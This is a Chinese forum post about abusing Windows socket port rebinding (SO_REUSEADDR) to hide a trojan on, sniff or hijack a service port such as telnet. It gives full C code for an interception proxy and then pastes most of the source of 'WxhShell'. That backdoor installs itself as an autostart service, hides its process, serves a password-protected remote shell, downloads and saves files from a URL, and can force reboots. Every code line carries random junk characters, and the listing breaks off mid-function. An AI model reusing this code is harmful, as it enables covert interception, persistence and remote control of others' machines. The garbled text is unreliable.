社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15320阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F@ Swe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c(#;_Ve2P  
4_A0rveP  
  saddr.sin_family = AF_INET; ntFT>g{B  
@$9'@")  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); */:uV B,b2  
3cdTed-MIh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ryB}b1`D  
JN+_|`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oVFnl A  
)R`xR,H  
  这意味着什么?意味着可以进行如下的攻击: U_x)#,4  
H0m|1 7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7xRl9  
*(C(tPhC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h8Yx#4  
(aOv#Vor]%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8YC_3Yi%  
9mA{K    
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jC bV,0)^  
y;_% W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ck?YI]q|  
[!!Q,S"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /|* Y2ETOr  
(L^]Lk x)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jv&*uYm  
hzkcP  
  #include "g$IP9?U  
  #include ^0/j0]O  
  #include |*}4 m'c  
  #include    ?@E!u|]K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '7XIhN9  
  int main() |yx6X{$k  
  { Na:w]r:y  
  WORD wVersionRequested; M5 <@~V/[  
  DWORD ret; :j+ ZI3@  
  WSADATA wsaData; :Nz9xD$S5  
  BOOL val; \B,(k<  
  SOCKADDR_IN saddr; iyg*Xbmi~.  
  SOCKADDR_IN scaddr; oH_;4QU4y  
  int err; 6oGYnu;UZ  
  SOCKET s; ? #fu.YE\  
  SOCKET sc; MdvcnaCG  
  int caddsize; H '  
  HANDLE mt; e J6$-r  
  DWORD tid;   ' ~8KSF*!p  
  wVersionRequested = MAKEWORD( 2, 2 ); s,]z[qB#$  
  err = WSAStartup( wVersionRequested, &wsaData ); !O<)\ )|g  
  if ( err != 0 ) { cLLbZ=`  
  printf("error!WSAStartup failed!\n"); 7eAX*Kgt<_  
  return -1; NfjE`  
  } PK`D8)=u  
  saddr.sin_family = AF_INET; )v.=jup[  
   Z'.AAOG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V6@o]*  
UWd=!h^dt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =`H@%  
  saddr.sin_port = htons(23); ^SF&=NpV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zd >t-?g  
  { .nx2";oi  
  printf("error!socket failed!\n"); %5"9</a&G  
  return -1; +l<5#pazx  
  } ^LoUi1j  
  val = TRUE; a6)BqlJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6[ j.@[t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %z,m B$LY  
  { $#9;)8J  
  printf("error!setsockopt failed!\n"); T?ZRiR)@  
  return -1; h7lDHIQf  
  } {#?N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *Doa* wQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (ROY?5 @c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4NheWM6  
F%@aB<Nu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  KY$)#i  
  { K8GP@yD]M  
  ret=GetLastError(); <7/R,\Wg~  
  printf("error!bind failed!\n"); nrub*BuA  
  return -1; \fz<.l]  
  } qNB<T('  
  listen(s,2); ^/I 7|u]  
  while(1) ^ *k?pJ5  
  { W$hx,VEy`  
  caddsize = sizeof(scaddr); DgId_\Ze  
  //接受连接请求 Ezc?#<+7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); CQF:Rnb  
  if(sc!=INVALID_SOCKET) 7)`nD<j 5  
  { m Bu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S"NqM[W  
  if(mt==NULL) tdBm (CsN  
  { 1"MhGNynB>  
  printf("Thread Creat Failed!\n"); xpV|\2C  
  break; pjKWtY@=X  
  } il4^zj82  
  } o=1Uh,S3R  
  CloseHandle(mt); _|kxY '_[8  
  } QwW&\h[8?  
  closesocket(s); ^oBtfN>4  
  WSACleanup(); w'Y7IlC  
  return 0; 3% #3iZ=_  
  }   I8hz(2jI  
  DWORD WINAPI ClientThread(LPVOID lpParam) 36}?dRw#p  
  { cOmw?kA*G  
  SOCKET ss = (SOCKET)lpParam; ]sf7{lVT  
  SOCKET sc; Z]>O+  
  unsigned char buf[4096]; ,1~"eGl!  
  SOCKADDR_IN saddr; V\ZGd+?  
  long num; gX@HO|.t  
  DWORD val; ;w{tv($$  
  DWORD ret; '.IW.{;$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^S4d:-.3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dI.WK@W'o  
  saddr.sin_family = AF_INET; 2e+UM$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @>r._ ~  
  saddr.sin_port = htons(23); E:UW#S%A f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D=q:*x  
  { CM/H9Kz.  
  printf("error!socket failed!\n"); pA'4|ffwe  
  return -1; |s7s6k)mm  
  } \pa"%c)  
  val = 100; :%l TU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jj; L3S  
  { "@e3EX7h  
  ret = GetLastError(); ne>pOK<vZ  
  return -1; so,t   
  } @6Y?\Wx$w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K0u|U`   
  { D$w6V  
  ret = GetLastError(); 3+)J @(a  
  return -1; du<tGsy  
  } ]FJjgu<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pR*VdC _mY  
  { iOd&B B6  
  printf("error!socket connect failed!\n"); NH[kNi'  
  closesocket(sc); ;,hwZZA  
  closesocket(ss); 9g9HlB&Ze  
  return -1; F6|TP.VY_.  
  } 0eT(J7[ <  
  while(1) )1]ZtU  
  { .T}Wdn g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~ 8PZ5;g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dH;8mb|#'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K?6jXJseb  
  num = recv(ss,buf,4096,0); T-'OwCB1q  
  if(num>0) j b!x:  
  send(sc,buf,num,0); S 8kCp;  
  else if(num==0) %vn|k[n D  
  break; ts ,ZvY]  
  num = recv(sc,buf,4096,0); |J1$= s  
  if(num>0) C/q'=:H;  
  send(ss,buf,num,0); 1jx:;j  
  else if(num==0) R   
  break; I5X|(0es  
  } BnX0G1|#  
  closesocket(ss); $POu\TO  
  closesocket(sc); IQAZuN"<  
  return 0 ; Z&G+bdA>,  
  } =Z{O<xw'  
kI,yU}<Fq  
l#g\X'bK  
========================================================== 8^kGS-+^  
46}g7skD  
下边附上一个代码,,WXhSHELL J-[,KME_^  
&9.Cl;I  
========================================================== a1g,@0s  
5us:adm[pD  
#include "stdafx.h" >,v`EIg  
M  f}~{+  
#include <stdio.h> _jvxc'6  
#include <string.h> O;+ maY^l  
#include <windows.h> N,<uf@LQ  
#include <winsock2.h> [xbSYu,&  
#include <winsvc.h> Yc`o5Q\>  
#include <urlmon.h> +xRK5+}9  
O+nEXS\rQ  
#pragma comment (lib, "Ws2_32.lib") k)i3   
#pragma comment (lib, "urlmon.lib") p99 ]  
<KJ/<0l  
#define MAX_USER   100 // 最大客户端连接数 V"[g.%%Y  
#define BUF_SOCK   200 // sock buffer %{7|1>8  
#define KEY_BUFF   255 // 输入 buffer mWv3!i;G<s  
99]R$eT8  
#define REBOOT     0   // 重启 Ij 79~pn  
#define SHUTDOWN   1   // 关机 , xw#NG6  
"0$a)4]  
#define DEF_PORT   5000 // 监听端口 |+{)_?  
fIM,lt  
#define REG_LEN     16   // 注册表键长度 DMs,y{v  
#define SVC_LEN     80   // NT服务名长度 I^* Nqqq  
7( #:GD  
// 从dll定义API ]v?@g:i E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /hpY f]t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dSLU>E3g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R%Hi+#/dr-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l(yZO$  
pLl(iNf]  
// wxhshell配置信息 'Oxy$U   
struct WSCFG { .[YuRLGz  
  int ws_port;         // 监听端口 D,FHZD t  
  char ws_passstr[REG_LEN]; // 口令 GmK^}=frj  
  int ws_autoins;       // 安装标记, 1=yes 0=no C:GK,?!Jn'  
  char ws_regname[REG_LEN]; // 注册表键名 XYQ/^SI!:  
  char ws_svcname[REG_LEN]; // 服务名 G3C~x.(f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '-wj9OU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -<6\1J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RXNn[A4xfY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SfA\}@3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x;w6na  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /{Is0+)  
y~(h>gi,x  
}; yZAS#ko}}  
84$nT>c  
// default Wxhshell configuration '-QwssE  
struct WSCFG wscfg={DEF_PORT, oL-]3TY~  
    "xuhuanlingzhe", rW<KKGsRWQ  
    1, [<7@{;r  
    "Wxhshell", #akpXdXs  
    "Wxhshell", $yN{-T"  
            "WxhShell Service", hZdoc<  
    "Wrsky Windows CmdShell Service", :v0U|\j8/V  
    "Please Input Your Password: ", 2uz W+D6J  
  1, ``V" D  
  "http://www.wrsky.com/wxhshell.exe", lvdf^b/ j  
  "Wxhshell.exe" LU \i0|i|  
    }; \@Ts+7%  
*lYVY) L  
// 消息定义模块 '>NCMB{*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bW$,?8(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C7XxFh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tW.9yII  
char *msg_ws_ext="\n\rExit."; .rO]M:UY  
char *msg_ws_end="\n\rQuit."; YA''2Ii  
char *msg_ws_boot="\n\rReboot..."; fA&k`L(y  
char *msg_ws_poff="\n\rShutdown..."; V n7*JS  
char *msg_ws_down="\n\rSave to "; kC WEtbz1  
+"x,x  
char *msg_ws_err="\n\rErr!"; !-ok"k0,u  
char *msg_ws_ok="\n\rOK!"; j-0z5|*KE  
t!*?dr  
char ExeFile[MAX_PATH];  >d*iD  
int nUser = 0; +:8fC$vVfC  
HANDLE handles[MAX_USER]; "K  ~  
int OsIsNt; c*(bO3 b  
X]'{(?Ch  
SERVICE_STATUS       serviceStatus; b $'FvZbk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S\LkL]qx  
~:0sk"t$1  
// 函数声明 bmJ5MF]_fG  
int Install(void); zxJ]" N  
int Uninstall(void); 0f~C#/[t7  
int DownloadFile(char *sURL, SOCKET wsh); qT ,Te  
int Boot(int flag); O#b6mKPt;t  
void HideProc(void); zepm!JR1  
int GetOsVer(void); YT8vP~  
int Wxhshell(SOCKET wsl); .|hf\1_J  
void TalkWithClient(void *cs); :S.9eFfa  
int CmdShell(SOCKET sock); 05z,b]>l  
int StartFromService(void); 34z"Pm  
int StartWxhshell(LPSTR lpCmdLine); T3~k>"W  
Q(@U2a8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .}^g!jm~h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FQm`~rA~zt  
{K <iih  
// 数据结构和表定义 AB=daie  
SERVICE_TABLE_ENTRY DispatchTable[] = -- PtZ]Z  
{ .>CPRVuVI  
{wscfg.ws_svcname, NTServiceMain}, oT^{b\XN  
{NULL, NULL} 'L 8n-TyL  
}; qo p^;~  
D6%J\C13`  
// 自我安装 +Fuqch jq  
int Install(void) ,#Iu 7di  
{ O?)3VT*  
  char svExeFile[MAX_PATH]; ^X0P'l &D2  
  HKEY key; 4^TG>j?M  
  strcpy(svExeFile,ExeFile); /h+8A' ,  
]or>?{4g  
// 如果是win9x系统,修改注册表设为自启动 Ai:BEPKe  
if(!OsIsNt) { 7{e% u#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F5?m6`g?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cVubb}ou  
  RegCloseKey(key); qC}-_u7s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _(Sa4Vb=Q6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .P;*Dws  
  RegCloseKey(key); 4xk|F'6K  
  return 0; H$@`,{M629  
    } (&}i`}v_  
  } OZx W?wnd  
} ]e^c=O`$  
else { @W va tD V  
CsTF  
// 如果是NT以上系统,安装为系统服务 Y,W uBH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cV 5CaaL  
if (schSCManager!=0) $]{k+Jf  
{ v5By:z  
  SC_HANDLE schService = CreateService [ JpKSTg[  
  ( 'qjeXqGH$  
  schSCManager, LA@w:Fg  
  wscfg.ws_svcname, 'XZ) !1N  
  wscfg.ws_svcdisp, 2W/?q!t  
  SERVICE_ALL_ACCESS, OlAs'TE^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kz>3 ic$I  
  SERVICE_AUTO_START, eln&]d;  
  SERVICE_ERROR_NORMAL, ]<H&+ &!  
  svExeFile, u:[vaBh91  
  NULL, D$bIo "  
  NULL, v'VD0+3[H  
  NULL, J13>i7]L%  
  NULL, /x5rf  
  NULL Pm lx8@D  
  ); 0Uz\H0T1  
  if (schService!=0) oN{Z+T :  
  { ^zt-HDBR_  
  CloseServiceHandle(schService); <(-3_s6-  
  CloseServiceHandle(schSCManager); |_`E1Y}}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1jN-4&  
  strcat(svExeFile,wscfg.ws_svcname); ^;/b+ /B0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wm)#[x #  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W6"v)Jc>_  
  RegCloseKey(key); enp)-nS0  
  return 0; dZi(&s  
    } <FWF<r3F  
  } dgA-MQ5{  
  CloseServiceHandle(schSCManager); .2>p3|F  
} } p&&_?  
} VJdIHsI  
9[m6Li  
return 1; 8"dv_`ym  
} wvbPnf^y  
oo=Qt(#  
// 自我卸载 yto,>Utzg  
int Uninstall(void) d!:6[7X6  
{ UEozAY  
  HKEY key; >B2:kY F  
9(6I<]#  
if(!OsIsNt) { 2 !At2P2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SQqD:{#g"  
  RegDeleteValue(key,wscfg.ws_regname); +"8,Mh  
  RegCloseKey(key); Q($Z%1S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tI7:5Cm  
  RegDeleteValue(key,wscfg.ws_regname); 'UMXq~RMe  
  RegCloseKey(key); rFC" Jx  
  return 0; !"<MsoY@  
  } k'#(1(xj  
} ik!..9aB  
} zxf"87se  
else { 'Er:a?88l  
[o.B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^_ kJKM,  
if (schSCManager!=0) Clh!gpB c  
{  nv0]05.4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vP !{",>  
  if (schService!=0) 8Goh4T H  
  { @DZB9DDR  
  if(DeleteService(schService)!=0) { L5qwWvbT  
  CloseServiceHandle(schService); X`fn8~5  
  CloseServiceHandle(schSCManager); 4E+hRKuo,  
  return 0; e'=MQ,EWd  
  } G 2mX;  
  CloseServiceHandle(schService); r\blyWi  
  } hs?sGr  
  CloseServiceHandle(schSCManager); jiYmb8Q4D  
} fgBM_c&9T  
} _z54Ycr4H  
!vk|<P1  
return 1; x3u4v~ "-  
} ONCnVjZ  
2hee./F`  
// 从指定url下载文件 =L C:SFzF  
int DownloadFile(char *sURL, SOCKET wsh) M4d47<'*~  
{ &R$CZU  
  HRESULT hr; JXw^/Y$  
char seps[]= "/"; tqy@iEz+  
char *token; @c ~)W8  
char *file; MSV2ip3  
char myURL[MAX_PATH]; gd0Vp Xf'  
char myFILE[MAX_PATH]; ]XTu+T.aT  
06Gt&_Q  
strcpy(myURL,sURL); cW{1 Pz^_  
  token=strtok(myURL,seps); f}L*uw  
  while(token!=NULL) 0v]?6wX  
  { /l{ &iLz[  
    file=token; 7#~+@'Oe  
  token=strtok(NULL,seps); &E M\CjKv"  
  } $-&BB(-{E&  
A"aV'~>  
GetCurrentDirectory(MAX_PATH,myFILE); Q0\0f  
strcat(myFILE, "\\"); k2xHH$+{#=  
strcat(myFILE, file); cS.-7  
  send(wsh,myFILE,strlen(myFILE),0); dV Q-k  
send(wsh,"...",3,0); n3lE, b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^0#; YOk  
  if(hr==S_OK) k@ K7yK  
return 0; :0/q5_t  
else c,Euv>*`  
return 1; Q.Aw2  
jt@SZI`  
} ,KJw|x4}\  
e;GU T:  
// 系统电源模块 Lw'9  
int Boot(int flag) n$aA)"A #  
{ KIeT!kmDl  
  HANDLE hToken; b7/AnSR~Jt  
  TOKEN_PRIVILEGES tkp; {T'GQz+R"  
ZvGgmLN  
  if(OsIsNt) { !m(4F(!"h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `p'Q7m2y/b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3@n>*7/E  
    tkp.PrivilegeCount = 1; 1G7b%yPA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s!+"yK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y{9~&r  
if(flag==REBOOT) { $^ 'aCU0C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @FN*TJ  
  return 0; |BZDhd9<{  
} PS S?|Vk  
else { 3K@@D B6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `Y40w#?uW  
  return 0; zciCcrJ  
} -S%x wJKM  
  } a4gi,pz$]  
  else { to"' By{9  
if(flag==REBOOT) { 7{oe ->r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3E^M?N2oc  
  return 0; r,(e t  
} ~e@>zoM'^  
else { zVv04_:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /cFzotr"9  
  return 0; .w6eJ4 ]  
} _kFYBd  
} vQ@2FZzu>  
2WvN2" f3  
return 1; s|bM%!$1  
} ,}D}oo*  
bVr*h2 p  
// win9x进程隐藏模块  1;eX&  
void HideProc(void) IO.<q,pP!_  
{ %qsvtc`  
sTHq&(hLUG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); smAC,-6 ]~  
  if ( hKernel != NULL ) '_+9y5  
  { > ^[z3T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IF k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `BZ&~vJ_  
    FreeLibrary(hKernel); }UyQ#U  
  } 6er(%4!  
?T: jk4+  
return; `kN #4p  
} +zOOdSFk.  
GtI6[ :1t  
// 获取操作系统版本 T*q"N?/4  
int GetOsVer(void) ,i`h x, Rg  
{ #'o7x'n^  
  OSVERSIONINFO winfo; Il~01|3+m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2O""4_G  
  GetVersionEx(&winfo); 1|y$~R.H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?H;{~n?  
  return 1; !)OB@F%U  
  else udqge?Tz  
  return 0; m24v@?*  
} !)H*r|*[  
,I*X) (  
// 客户端句柄模块 I ,FqN}  
int Wxhshell(SOCKET wsl) s^|\9%WD  
{ w^VSj%XH!  
  SOCKET wsh; . 5hp0L}  
  struct sockaddr_in client; 8cr NOZS6  
  DWORD myID; =&NOHT>  
*=nO  
  while(nUser<MAX_USER) !;}2F-  
{ L~0& Q  
  int nSize=sizeof(client); ,w\ wQn>]K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;~tsF.=  
  if(wsh==INVALID_SOCKET) return 1; pzEABA   
j 2}v}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X5E '*W  
if(handles[nUser]==0) &:vsc Ol  
  closesocket(wsh); #MM &BC  
else D!l8l49hLu  
  nUser++; *wUdC  
  } _g6wQdxT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y+|PY? ~  
Mvof%I  
  return 0; i:k-"  
} o>u!CL<  
=J.EH|  
// 关闭 socket (v;A'BjN  
void CloseIt(SOCKET wsh) @&:VKpu\  
{ p":@>v?  
closesocket(wsh); s`Vf+ l0  
nUser--; #<}kISV0  
ExitThread(0); :0dfB&7  
} u%aFb*  
.;Z.F7{q  
// 客户端请求句柄 ((9YG  
void TalkWithClient(void *cs) <UK5eVQn  
{ 0Q3YN(  
>Fh#DmQ  
  SOCKET wsh=(SOCKET)cs; ?d,M.o{0]  
  char pwd[SVC_LEN]; 2lJZw@  
  char cmd[KEY_BUFF]; x~(y "^ph  
char chr[1]; ^6&_| f  
int i,j; g 2#F_  
%(NN *o9"q  
  while (nUser < MAX_USER) { 5%qH 7[dx  
yI4DVu.  
if(wscfg.ws_passstr) { rBD2Si=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NCxn^$/+>9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .]zw*t*  
  //ZeroMemory(pwd,KEY_BUFF); Avd *~  
      i=0; 2@5A&b  
  while(i<SVC_LEN) { Xiw@  
JQH7ZaN  
  // 设置超时 tKX}Ok:V%  
  fd_set FdRead; z^9E;  
  struct timeval TimeOut; U~hCn+0  
  FD_ZERO(&FdRead); [nC4/V+-  
  FD_SET(wsh,&FdRead); `M6YblnJZ  
  TimeOut.tv_sec=8; $BaK'7=3*  
  TimeOut.tv_usec=0; `_ 0)kdu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,.q8Xf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M.t@@wq  
OU6^+Ta  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AO^]>/7ed  
  pwd=chr[0]; c0SX]4} G  
  if(chr[0]==0xd || chr[0]==0xa) { "s> >V,  
  pwd=0; Slo9#26  
  break; +!G4tA$g  
  } mUiOD$rO  
  i++; S>(z\`1qm  
    } DYkC'+TEX  
y3Y2 QC(  
  // 如果是非法用户,关闭 socket G}s;JJax  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {GAsFnZk  
} nQ!N}5[z'  
-S`TEX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (e 0_RQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \3L$I-]m  
oO8]lHS?@  
while(1) { bd.j,4^  
3g^IXm:K$  
  ZeroMemory(cmd,KEY_BUFF); 9x4wk*z  
ysL0hwir  
      // 自动支持客户端 telnet标准   ,!jR:nApE  
  j=0; f(^33k  
  while(j<KEY_BUFF) { 7xz#D4[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zp^)_ 0  
  cmd[j]=chr[0]; 8rla0d@  
  if(chr[0]==0xa || chr[0]==0xd) { t;h+Cf4  
  cmd[j]=0; }{P&idkv  
  break; "$# $f  
  } 3O#~dFnp  
  j++; o-L|"3 P  
    }  =7*oC  
*QMF <ze  
  // 下载文件 22l|!B%o  
  if(strstr(cmd,"http://")) { U&w*Sb"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TXA. 6e  
  if(DownloadFile(cmd,wsh)) GjG{qR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l_UXrnm/N  
  else hz&^_ G6`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &z7N\n  
  } jI@bTS o  
  else { Uh<H*o6e 9  
x0}<n99qE  
    switch(cmd[0]) { iuvtj]/  
  oVKsic?  
  // 帮助 s@*,r@<  
  case '?': { ;mCGh~?G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DW'0j$;  
    break; \9&YV;Ct  
  } 6)tB{:h&~0  
  // 安装 yHa:?u6  
  case 'i': { k1~nd=p  
    if(Install()) Q' OuZKhA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pf^Ly 97  
    else /6Jy'"+'0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G}Qk!r  
    break; F$"MFdc[  
    } GN~[xXJU  
  // 卸载 h^.tom g8  
  case 'r': { LOyCx/n  
    if(Uninstall()) s$2l"|h>B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b a1$kU  
    else q9g[+*9]$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rU2YMghE  
    break; gKm@B{rC  
    } vUodp#s  
  // 显示 wxhshell 所在路径 ~%8Q75tn.  
  case 'p': { $9 &Q.Kpq>  
    char svExeFile[MAX_PATH]; 8VAYIxRv  
    strcpy(svExeFile,"\n\r"); QTrlQH&p  
      strcat(svExeFile,ExeFile); ~t.WwxY+  
        send(wsh,svExeFile,strlen(svExeFile),0); ^R8U-V8:  
    break; o\=i0HR9  
    } D~i@. k  
  // 重启 8-y: ==C  
  case 'b': { |4?}W ,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 67K RM(S  
    if(Boot(REBOOT)) BC$;b>IUA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cA (e "N  
    else { P(YG@  
